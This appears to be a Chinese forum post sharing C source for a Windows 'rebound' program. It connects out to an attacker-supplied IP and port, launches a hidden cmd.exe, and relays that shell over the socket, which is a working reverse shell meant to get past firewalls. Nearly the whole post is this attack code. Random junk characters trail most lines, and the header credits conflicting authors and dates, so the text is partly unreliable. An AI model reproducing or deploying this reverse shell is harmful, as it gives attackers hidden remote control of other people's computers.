这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 _5w]a 2
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/* ============================== M$wC=b
Rebound port in Windows NT R7%#U`Q^A
By wind,2006/7 +V2F#fI/
===============================*/ \UA[
#include (|2t#'m
#include ."g`3tVK
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#pragma comment(lib,"wsock32.lib") .7J#_*NV
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void OutputShell(); G0Iw-vf
SOCKET sClient; )Om*@;r(
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Ao 'l"-
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void main(int argc,char **argv) T9=I$@/
{ 1Yq!~8
WSADATA stWsaData; X;$+,&M"
int nRet; \$K20)
SOCKADDR_IN stSaiClient,stSaiServer; 5%"V[lDx@
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if(argc != 3) u* eV@KK!
{ /l3V3B7
printf("Useage:\n\rRebound DestIP DestPort\n"); GblA9F7
return; Y/F6\oh
} a
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WSAStartup(MAKEWORD(2,2),&stWsaData); 6XxvvMA97
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _;"il%l=1
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stSaiClient.sin_family = AF_INET; RU|Q]Ymx
stSaiClient.sin_port = htons(0); n9\TO9N
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 3l~^06D
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) &C_j\7Dq
{ cVv=*81\
printf("Bind Socket Failed!\n"); `bq<$e
return; }RF(CwZr(
} phXGnm
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stSaiServer.sin_family = AF_INET; Z-%\
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ic:zsuEm
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); G[ PtkPSJ
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 38B2|x
{ 4>
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printf("Connect Error!"); =jN.1}
return; b=C*W,Q_#
} zpn9,,~u
OutputShell(); ,>a&"V^k
} fgTg7 m
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void OutputShell() RNk\.}m
{ k t#fMd$
char szBuff[1024]; u[;\y|75
SECURITY_ATTRIBUTES stSecurityAttributes; Q-oktRK
OSVERSIONINFO stOsversionInfo; xK[ou'
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Oi.C(@^(
STARTUPINFO stStartupInfo; tAd%#:K
char *szShell; ,L2ZinU:
PROCESS_INFORMATION stProcessInformation; P8:dU(nlW
unsigned long lBytesRead; |l^uEtG
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 7~h<$8Y(T
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); -m zIT4
stSecurityAttributes.lpSecurityDescriptor = 0; u{cW:
stSecurityAttributes.bInheritHandle = TRUE; QT5TE: D
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); e(&v"}Ef`
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Pbn*_/H
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); VBlYvZ;$*
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t.y2ff<[U
stStartupInfo.wShowWindow = SW_HIDE; HVCe;eI
stStartupInfo.hStdInput = hReadPipe; ?=msH=N<l
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; eb{nWP
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GetVersionEx(&stOsversionInfo); 9<?M8_
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switch(stOsversionInfo.dwPlatformId) xj)F55e?
{ }-{H Y
case 1: 8NJqV+jn)t
szShell = "command.com"; oCv.Ln1;Z
break; {w O|)|
default: m])y.T
szShell = "cmd.exe"; 3pROf#M
break; n38p !oS
} %IA\pSE
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ~vhE|f
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send(sClient,szMsg,77,0); _.Nbt(mz
while(1) ,8uqdk-D
{ s\(k<Ks
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); |^I0dR/w:
if(lBytesRead)
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{ pU}(@oy
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); :S83vE81WK
send(sClient,szBuff,lBytesRead,0); Ta0|+IYk<
} p4rL}Jm&
else ;`4&Rm9n?
{ >2)OiQ`zg
lBytesRead=recv(sClient,szBuff,1024,0);
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if(lBytesRead<=0) break; r,3DTBe
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); NNR`!Pty
} qr^3R&z!}
} xt*
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return; -0 a/$h
}